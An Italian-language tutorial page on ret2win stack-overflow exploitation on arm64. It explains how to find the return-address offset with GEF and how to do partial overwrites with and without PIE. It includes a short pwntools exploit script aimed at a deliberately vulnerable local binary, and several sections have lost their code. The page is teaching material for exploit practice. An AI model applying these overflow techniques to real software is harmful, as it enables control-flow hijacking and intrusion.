Ret2win - arm64
Ret2win - arm64
Trova un'introduzione all'arm64 in:
Introduction to ARM64v8Codice
Compila senza pie e canary:
Trovare l'offset
Opzione pattern
Questo esempio è stato creato utilizzando GEF:
Avvia gdb con gef, crea un pattern e usalo:
arm64 cercherà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare l'offset del pattern:
L'offset è 72 (9x48).
Opzione di offset dello stack
Inizia ottenendo l'indirizzo dello stack dove è memorizzato il registro pc:
Ora imposta un breakpoint dopo il read()
e continua fino a quando il read()
viene eseguito e imposta un pattern come 13371337:
Trova dove questo modello è memorizzato in memoria:
Poi: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
No PIE
Regolare
Ottieni l'indirizzo della funzione win
:
Sfruttamento:
Off-by-1
In realtà, questo sarà più simile a un off-by-2 nella PC memorizzata nello stack. Invece di sovrascrivere tutti gli indirizzi di ritorno, sovrascriveremo solo gli ultimi 2 byte con 0x06c4
.
Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.
Con PIE
Compila il binario senza l'argomento -no-pie
Off-by-2
Senza un leak non conosciamo l'indirizzo esatto della funzione vincente, ma possiamo conoscere l'offset della funzione dal binario e sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile leakare l'offset alla funzione win (0x7d4) in questo caso e utilizzare semplicemente quell'offset:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
Last updated